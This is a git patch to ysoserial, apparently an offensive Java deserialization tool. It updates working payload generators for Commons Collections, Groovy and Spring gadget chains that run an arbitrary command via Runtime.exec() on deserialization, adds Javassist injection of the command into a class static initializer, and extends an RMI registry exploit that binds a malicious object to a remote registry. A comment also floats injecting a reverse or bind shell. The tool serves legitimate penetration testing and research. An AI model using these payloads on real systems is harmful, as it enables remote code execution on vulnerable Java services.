From 79219f77923328691691ee2ebd6f7c29c7e10a5a Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Thu, 29 Jan 2015 21:33:26 -0800 Subject: [PATCH] fixed spring, commons-collections4 payloads, made test cases more robust --- pom.xml | 7 +- .../ExecBlockingSecurityManager.java | 44 ++++++ src/main/java/ysoserial/GeneratePayload.java | 2 +- .../java/ysoserial/RMIRegistryExploit.java | 46 +++++- .../payloads/CommonsCollections1.java | 4 +- .../payloads/CommonsCollections2.java | 19 +-- src/main/java/ysoserial/payloads/Groovy1.java | 4 +- src/main/java/ysoserial/payloads/Spring1.java | 44 ++---- .../payloads/annotation/Dependencies.java | 12 ++ .../ysoserial/payloads/util/ClassFiles.java | 28 ++-- .../java/ysoserial/payloads/util/Gadgets.java | 70 ++++---- .../payloads/util/PayloadRunner.java | 36 +++-- .../java/ysoserial/DeserializerThunk.java | 17 ++ src/test/java/ysoserial/ExecSerializable.java | 3 + src/test/java/ysoserial/MockPayload.java | 17 -- .../java/ysoserial/MockSecurityManager.java | 28 ---- src/test/java/ysoserial/Throwables.java | 2 +- .../java/ysoserial/payloads/PayloadsTest.java | 149 ++++++++++++------ 18 files changed, 325 insertions(+), 207 deletions(-) create mode 100644 src/main/java/ysoserial/ExecBlockingSecurityManager.java create mode 100644 src/main/java/ysoserial/payloads/annotation/Dependencies.java create mode 100644 src/test/java/ysoserial/DeserializerThunk.java delete mode 100644 src/test/java/ysoserial/MockPayload.java delete mode 100644 src/test/java/ysoserial/MockSecurityManager.java diff --git a/pom.xml b/pom.xml index bdbaab91..ee5cf366 100644 --- a/pom.xml +++ b/pom.xml @@ -88,7 +88,12 @@ 2.1.1 pom - + + org.javassist + javassist + 3.19.0-GA + + diff --git a/src/main/java/ysoserial/ExecBlockingSecurityManager.java b/src/main/java/ysoserial/ExecBlockingSecurityManager.java new file mode 100644 index 00000000..042ca1fe --- /dev/null +++ b/src/main/java/ysoserial/ExecBlockingSecurityManager.java @@ -0,0 +1,44 @@ +package ysoserial; + +import java.security.Permission; +import java.util.concurrent.Callable; + +public class ExecBlockingSecurityManager extends SecurityManager { + @Override + public void checkPermission(final Permission perm) { } + + @Override + public void checkPermission(final Permission perm, final Object context) { } + + public void checkExec(final String cmd) { + super.checkExec(cmd); + // throw a special exception to ensure we can detect exec() in the test + throw new ExecException(cmd); + }; + + @SuppressWarnings("serial") + public static class ExecException extends RuntimeException { + private final String cmd; + public ExecException(String cmd) { this.cmd = cmd; } + public String getCmd() { return cmd; } + } + + public static void wrap(final Runnable runnable) throws Exception { + wrap(new Callable(){ + public Void call() throws Exception { + runnable.run(); + return null; + } + }); + } + + public static T wrap(final Callable callable) throws Exception { + SecurityManager sm = System.getSecurityManager(); + System.setSecurityManager(new ExecBlockingSecurityManager()); + try { + return callable.call(); + } finally { + System.setSecurityManager(sm); + } + } +} \ No newline at end of file diff --git a/src/main/java/ysoserial/GeneratePayload.java b/src/main/java/ysoserial/GeneratePayload.java index 9db1eb5e..7f2ca552 100644 --- a/src/main/java/ysoserial/GeneratePayload.java +++ b/src/main/java/ysoserial/GeneratePayload.java @@ -38,7 +38,7 @@ public static void main(final String[] args) { final Object object = payload.getObject(command); final ObjectOutputStream objOut = new ObjectOutputStream(System.out); objOut.writeObject(object); - } catch (Exception e) { + } catch (Throwable e) { System.err.println("Error while generating or serializing payload"); e.printStackTrace(); System.exit(INTERNAL_ERROR_CODE); diff --git a/src/main/java/ysoserial/RMIRegistryExploit.java b/src/main/java/ysoserial/RMIRegistryExploit.java index a8d52863..fe319bc0 100644 --- a/src/main/java/ysoserial/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/RMIRegistryExploit.java @@ -3,21 +3,51 @@ import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; +import java.util.Arrays; +import java.util.concurrent.Callable; import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.util.Gadgets; /* - * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader + * Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader. + * Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces. + * + * TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote + * interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler . */ public class RMIRegistryExploit { - public static void main(String[] args) throws Exception { - Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); - String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; - Class payloadClass = (Class) Class.forName(className); - Object payload = payloadClass.newInstance().getObject(args[3]); - Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); - registry.bind("pwned", remote); + public static void main(final String[] args) throws Exception { + // ensure payload doesn't detonate during construction or deserialization + ExecBlockingSecurityManager.wrap(new Callable(){public Void call() throws Exception { + Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1])); + String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; + Class payloadClass = (Class) Class.forName(className); + Object payload = payloadClass.newInstance().getObject(args[3]); + Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class); + try { + registry.bind("pwned", remote); + } catch (Throwable e) { + e.printStackTrace(); + } + + try { + String[] names = registry.list(); + for (String name : names) { + System.out.println("looking up '" + name + "'"); + try { + Remote rem = registry.lookup(name); + System.out.println(Arrays.asList(rem.getClass().getInterfaces())); + } catch (Throwable e) { + e.printStackTrace(); + } + } + } catch (Throwable e) { + e.printStackTrace(); + } + + return null; + }}); } } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections1.java b/src/main/java/ysoserial/payloads/CommonsCollections1.java index 9839ef5c..b4e8b921 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections1.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections1.java @@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; +import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -37,6 +38,7 @@ commons-collections */ @SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) public class CommonsCollections1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { @@ -70,7 +72,7 @@ public InvocationHandler getObject(final String command) throws Exception { return handler; } - public static void main(final String[] args) { + public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections1.class, args); } } diff --git a/src/main/java/ysoserial/payloads/CommonsCollections2.java b/src/main/java/ysoserial/payloads/CommonsCollections2.java index 9854ef9b..785457e5 100644 --- a/src/main/java/ysoserial/payloads/CommonsCollections2.java +++ b/src/main/java/ysoserial/payloads/CommonsCollections2.java @@ -6,7 +6,7 @@ import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; -import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -22,23 +22,14 @@ InvokerTransformer.transform() Method.invoke() Runtime.exec() - - Requires: - commons-collections4 */ @SuppressWarnings({ "rawtypes", "unchecked", "restriction" }) +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) public class CommonsCollections2 implements ObjectPayload> { public Queue getObject(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); - - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - ClassFiles.classAsBytes(Gadgets.TransletPayload.class), - ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy - - Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy - + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); @@ -54,12 +45,12 @@ public Queue getObject(final String command) throws Exception { // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; - queueArray[1] = new Gadgets.TransletPayload().withCommand(command); + queueArray[1] = 1; return queue; } - public static void main(final String[] args) { + public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java index b4571748..5d249921 100644 --- a/src/main/java/ysoserial/payloads/Groovy1.java +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -6,6 +6,7 @@ import org.codehaus.groovy.runtime.ConvertedClosure; import org.codehaus.groovy.runtime.MethodClosure; +import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; @@ -25,6 +26,7 @@ */ @SuppressWarnings({ "rawtypes", "unchecked" }) +@Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) public class Groovy1 extends PayloadRunner implements ObjectPayload { public InvocationHandler getObject(final String command) throws Exception { @@ -37,7 +39,7 @@ public InvocationHandler getObject(final String command) throws Exception { return handler; } - public static void main(final String[] args) { + public static void main(final String[] args) throws Exception { PayloadRunner.run(Groovy1.class, args); } } diff --git a/src/main/java/ysoserial/payloads/Spring1.java b/src/main/java/ysoserial/payloads/Spring1.java index 8ab05703..f655cfb8 100644 --- a/src/main/java/ysoserial/payloads/Spring1.java +++ b/src/main/java/ysoserial/payloads/Spring1.java @@ -5,23 +5,20 @@ import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Type; -import java.util.Arrays; -import java.util.List; import javax.xml.transform.Templates; import org.springframework.beans.factory.ObjectFactory; -import ysoserial.payloads.util.ClassFiles; +import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; -import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; /* - Gadget chains: + Gadget chain: ObjectInputStream.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() @@ -43,28 +40,18 @@ TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() - TemplatesImpl.TransletClassLoader.defineClass() - Gadgets.TransletPayload.readObject() - Runtime.exec() - - Requires: - spring-framework-core + TemplatesImpl.TransletClassLoader.defineClass() + Pwner*(Javassist-generated). + Runtime.exec() + */ @SuppressWarnings({"restriction", "rawtypes"}) -public class Spring1 extends PayloadRunner implements ObjectPayload> { +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"}) +public class Spring1 extends PayloadRunner implements ObjectPayload { - public List getObject(final String command) throws Exception { - final TemplatesImpl templates = new TemplatesImpl(); - - // inject class bytes into instance - Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { - ClassFiles.classAsBytes(Gadgets.TransletPayload.class), - ClassFiles.classAsBytes(Gadgets.Foo.class)}); - - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + public Object getObject(final String command) throws Exception { + final TemplatesImpl templates = Gadgets.createTemplatesImpl(command); final ObjectFactory objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); @@ -78,14 +65,13 @@ public List getObject(final String command) throws Exception { forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); - final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); - Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy - - return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command)); + return mitp; } - - public static void main(final String[] args) { + + public static void main(final String[] args) throws Exception { PayloadRunner.run(Spring1.class, args); } diff --git a/src/main/java/ysoserial/payloads/annotation/Dependencies.java b/src/main/java/ysoserial/payloads/annotation/Dependencies.java new file mode 100644 index 00000000..fc888e05 --- /dev/null +++ b/src/main/java/ysoserial/payloads/annotation/Dependencies.java @@ -0,0 +1,12 @@ +package ysoserial.payloads.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + String[] value() default {}; +} diff --git a/src/main/java/ysoserial/payloads/util/ClassFiles.java b/src/main/java/ysoserial/payloads/util/ClassFiles.java index 6192dd04..861f3f82 100644 --- a/src/main/java/ysoserial/payloads/util/ClassFiles.java +++ b/src/main/java/ysoserial/payloads/util/ClassFiles.java @@ -22,19 +22,23 @@ public static String classAsFile(final Class clazz, boolean suffix) { return str; } - public static byte[] classAsBytes(final Class clazz) throws IOException { - final byte[] buffer = new byte[1024]; - final String file = classAsFile(clazz); - final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); - if (in == null) { - throw new IOException("couldn't find '" + file + "'"); + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); } - final ByteArrayOutputStream out = new ByteArrayOutputStream(); - int len; - while ((len = in.read(buffer)) != -1) { - out.write(buffer, 0, len); - } - return out.toByteArray(); } } diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index bd059330..821fa5e3 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -1,7 +1,5 @@ package ysoserial.payloads.util; -import java.io.IOException; -import java.io.ObjectInputStream; import java.io.Serializable; import java.lang.reflect.Array; import java.lang.reflect.InvocationHandler; @@ -9,9 +7,15 @@ import java.util.HashMap; import java.util.Map; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; @@ -20,37 +24,15 @@ */ @SuppressWarnings("restriction") public class Gadgets { - private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + private static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + + public static class StubTransletPayload extends AbstractTranslet implements Serializable { + private static final long serialVersionUID = -5971610431559700674L; - // serializable translet subclass that will command stored in field when deserialized - public static class TransletPayload extends AbstractTranslet implements Serializable { - private static final long serialVersionUID = 5571793986024357801L; - - { - namesArray = new String[0]; // needed to make TemplatesImpl happy - } - - private String command; - - // execute stored command on deserialization - private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { - in.defaultReadObject(); // read command string - try { - Runtime.getRuntime().exec(command); // execute command - } catch (IOException e) { - e.printStackTrace(); // not trying to be stealthy - } - } - - public TransletPayload withCommand(String command) { - this.command = command; - return this; - } - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} - - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) - throws TransletException {} + + @Override + public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } // required to make TemplatesImpl happy @@ -81,4 +63,30 @@ public static Map createMap(final String key, final Object val) { map.put(key,val); return map; } + + public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { + final TemplatesImpl templates = new TemplatesImpl(); + + // use template gadget class + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); + final CtClass clazz = pool.get(StubTransletPayload.class.getName()); + // run command in static initializer + // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections + clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); + // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) + clazz.setName("ysoserial.Pwner" + System.nanoTime()); + + final byte[] classBytes = clazz.toBytecode(); + + // inject class bytes into instance + Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, + ClassFiles.classAsBytes(Foo.class)}); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); + return templates; + } } diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index a52458a3..7fe8a07e 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -2,6 +2,10 @@ import static ysoserial.payloads.util.Serializables.deserialize; import static ysoserial.payloads.util.Serializables.serialize; + +import java.util.concurrent.Callable; + +import ysoserial.ExecBlockingSecurityManager; import ysoserial.payloads.ObjectPayload; /* @@ -9,22 +13,24 @@ */ @SuppressWarnings("unused") public class PayloadRunner { - public static void run(final Class clazz, final String[] args) { - try { - final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; - - System.out.println("generating payload object(s) for command: '" + command + "'"); - - final Object objBefore = clazz.newInstance().getObject(command); - - System.out.println("serializing payload"); - - final byte[] serialized = serialize(objBefore); - - System.out.println("deserializing payload"); - - final Object objAfter = deserialize(serialized); + public static void run(final Class> clazz, final String[] args) throws Exception { + // ensure payload generation doesn't throw an exception + byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable(){ + public byte[] call() throws Exception { + final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; + + System.out.println("generating payload object(s) for command: '" + command + "'"); + + final Object objBefore = clazz.newInstance().getObject(command); + + System.out.println("serializing payload"); + + return serialize(objBefore); + }}); + try { + System.out.println("deserializing payload"); + final Object objAfter = deserialize(serialized); } catch (Exception e) { e.printStackTrace(); } diff --git a/src/test/java/ysoserial/DeserializerThunk.java b/src/test/java/ysoserial/DeserializerThunk.java new file mode 100644 index 00000000..522c48f6 --- /dev/null +++ b/src/test/java/ysoserial/DeserializerThunk.java @@ -0,0 +1,17 @@ +package ysoserial; + +import java.io.ByteArrayInputStream; +import java.io.ObjectInputStream; +import java.util.concurrent.Callable; + +/* + * deserializes specified bytes; for use from isolated classloader + */ +public class DeserializerThunk implements Callable { + private final byte[] bytes; + public DeserializerThunk(byte[] bytes) { this.bytes = bytes; } + public Object call() throws Exception { + ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes)); + return ois.readObject(); + } +} \ No newline at end of file diff --git a/src/test/java/ysoserial/ExecSerializable.java b/src/test/java/ysoserial/ExecSerializable.java index b7062ed3..5f4113f1 100644 --- a/src/test/java/ysoserial/ExecSerializable.java +++ b/src/test/java/ysoserial/ExecSerializable.java @@ -6,6 +6,9 @@ @SuppressWarnings("serial") public class ExecSerializable implements Serializable { + private final String cmd; + public ExecSerializable(String cmd) { this.cmd = cmd; } + private void readObject(final ObjectInputStream ois) { try { Runtime.getRuntime().exec("hostname"); diff --git a/src/test/java/ysoserial/MockPayload.java b/src/test/java/ysoserial/MockPayload.java deleted file mode 100644 index d3c7edc3..00000000 --- a/src/test/java/ysoserial/MockPayload.java +++ /dev/null @@ -1,17 +0,0 @@ -package ysoserial; - -import java.io.Serializable; - -import ysoserial.payloads.ObjectPayload; - -public class MockPayload implements ObjectPayload { - private final Serializable obj; - - public MockPayload(final Serializable obj) { - this.obj = obj; - } - - public Object getObject(final String command) throws Exception { - return obj; - } -} \ No newline at end of file diff --git a/src/test/java/ysoserial/MockSecurityManager.java b/src/test/java/ysoserial/MockSecurityManager.java deleted file mode 100644 index 6a13c09d..00000000 --- a/src/test/java/ysoserial/MockSecurityManager.java +++ /dev/null @@ -1,28 +0,0 @@ -package ysoserial; - -import java.security.Permission; -import java.util.LinkedList; -import java.util.List; - -public class MockSecurityManager extends SecurityManager { - private final List checks = new LinkedList(); - - public List getChecks() { - return checks; - } - - public void clearChecks() { - checks.clear(); - } - - @Override - public void checkPermission(final Permission perm) { - checks.add(perm); - } - - @Override - public void checkPermission(final Permission perm, final Object context) { - checks.add(perm); - } - -} \ No newline at end of file diff --git a/src/test/java/ysoserial/Throwables.java b/src/test/java/ysoserial/Throwables.java index 51ac9be6..921e4938 100644 --- a/src/test/java/ysoserial/Throwables.java +++ b/src/test/java/ysoserial/Throwables.java @@ -3,6 +3,6 @@ public class Throwables { public static Throwable getInnermostCause(final Throwable t) { final Throwable cause = t.getCause(); - return cause == null ? t : getInnermostCause(cause); + return cause == null || cause == t ? t : getInnermostCause(cause); } } \ No newline at end of file diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index e967ae3d..caca0331 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -2,92 +2,145 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; -import java.io.FilePermission; -import java.util.Collections; +import java.io.File; +import java.net.URL; +import java.net.URLClassLoader; +import java.util.concurrent.Callable; +import org.hamcrest.CoreMatchers; +import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.junit.Assert; -import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.contrib.java.lang.system.ProvideSecurityManager; -import org.junit.experimental.theories.DataPoints; -import org.junit.experimental.theories.Theories; -import org.junit.experimental.theories.Theory; import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; +import org.junit.runners.Parameterized.Parameters; +import ysoserial.DeserializerThunk; +import ysoserial.ExecBlockingSecurityManager; +import ysoserial.ExecBlockingSecurityManager.ExecException; import ysoserial.ExecSerializable; -import ysoserial.MockPayload; -import ysoserial.MockSecurityManager; import ysoserial.Throwables; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.util.Serializables; /* * tests each of the parameterize Payload classes by using a mock SecurityManager that throws * a special exception when an exec() attempt is made for more reliable detection; self-tests * the harness for trivial pass and failure cases + +TODO: pull out harness tests so they are only run once +TODO: figure out better way to test exception behavior than comparing messages */ -@SuppressWarnings({"restriction","unused"}) -@RunWith(Theories.class) +@SuppressWarnings({"restriction", "unused", "unchecked"}) +@RunWith(Parameterized.class) public class PayloadsTest { private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); - - @SuppressWarnings("serial") - private static class ExecException extends RuntimeException {} - private final MockSecurityManager msm = new MockSecurityManager(){ - public void checkExec(final String cmd) { - super.checkExec(cmd); - // throw a special exception to ensure we can detect exec() in the test - throw new ExecException(); - }; - }; + private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName(); @Rule - public final ProvideSecurityManager psm = new ProvideSecurityManager(msm); + public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager()); - // ensure that checks get cleared between tests, though current test setup seems to work without it - @Before - public void clearChecks() { msm.clearChecks(); } - - @DataPoints - public static ObjectPayload[] payloads() { - return new ObjectPayload[] { new CommonsCollections1(), new Groovy1(), new Spring1() }; + @Parameters(name = "payloadClass: {0}") + public static Class>[] payloads() { + return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class }; } - @Theory - public void testPayload(final ObjectPayload payload) throws Exception { - final Object f = payload.getObject("hostname"); - final byte[] serialized = Serializables.serialize(f); - - // special case for using TemplatesImpl gadgets with SecurityManager - System.setProperty(DESERIALIZE_TRANSLET, "true"); - - try { - final Object obj = Serializables.deserialize(serialized); + private final Class> payloadClass; + + public PayloadsTest(Class> payloadClass) { + this.payloadClass = payloadClass; + } + + @Test + public void testPayload() throws Exception { + testPayload(payloadClass, new Class[0]); + } + + public static void testPayload(final Class> payloadClass, Class[] addlClassesForClassLoader) throws Exception { + String command = "hostname"; + Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class); + String[] deps = depsAnn != null ? depsAnn.value() : new String[0]; + ObjectPayload payload = payloadClass.newInstance(); + final Object f = payload.getObject(command); + final byte[] serialized = Serializables.serialize(f); + try { + deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); Assert.fail(ASSERT_MESSAGE); // should never get here - } catch (Exception e) { + } catch (Throwable e) { // hopefully everything will reliably nest our ExecException - Assert.assertEquals(Throwables.getInnermostCause(e).getClass(), ExecException.class); + Throwable innerEx = Throwables.getInnermostCause(e); + Assert.assertEquals(ExecException.class, innerEx.getClass()); + Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); } + } + + @SuppressWarnings({ "unchecked" }) + private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class[] classDependencies) throws Exception { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; + URL[] urls = new URL[jars.length]; + for (int i = 0; i < jars.length; i++) { + urls[i] = jars[i].toURI().toURL(); + } - // confirm sm saw the check for file execution - Assert.assertEquals(1,Collections.frequency(msm.getChecks(), new FilePermission("<>", "execute"))); + URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ + for (Class clazz : classDependencies) { + byte[] classAsBytes = ClassFiles.classAsBytes(clazz); + defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); + } + byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class); + defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); + + }}; + Class deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS); + Callable deserializer = (Callable) deserializerClass.getConstructors()[0].newInstance(serialized); + final Object obj = deserializer.call(); } // make sure test harness fails properly @Test - public void testHarnessFail() throws Exception { + public void testHarnessExecFail() throws Exception { try { - testPayload(new MockPayload(1)); + testPayload(NoopMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { - Assert.assertEquals(ASSERT_MESSAGE, e.getMessage()); + Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:")); + } } - // make sure test harness passes properly + // make sure test harness fails properly + @Test + public void testHarnessClassLoaderFail() throws Exception { + try { + testPayload(ExecMockPayload.class, new Class[0]); + Assert.fail("should have failed"); + } catch (AssertionError e) { + Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); + } + } + + // make sure test harness passes properly with trivial execution gadget @Test - public void testHarnessPass() throws Exception { - testPayload(new MockPayload(new ExecSerializable())); + public void testHarnessExecPass() throws Exception { + testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class }); + } + + public static class ExecMockPayload implements ObjectPayload { + public ExecSerializable getObject(String command) throws Exception { + return new ExecSerializable(command); + } } + + public static class NoopMockPayload implements ObjectPayload { + public Integer getObject(String command) throws Exception { + return 1; + } + } }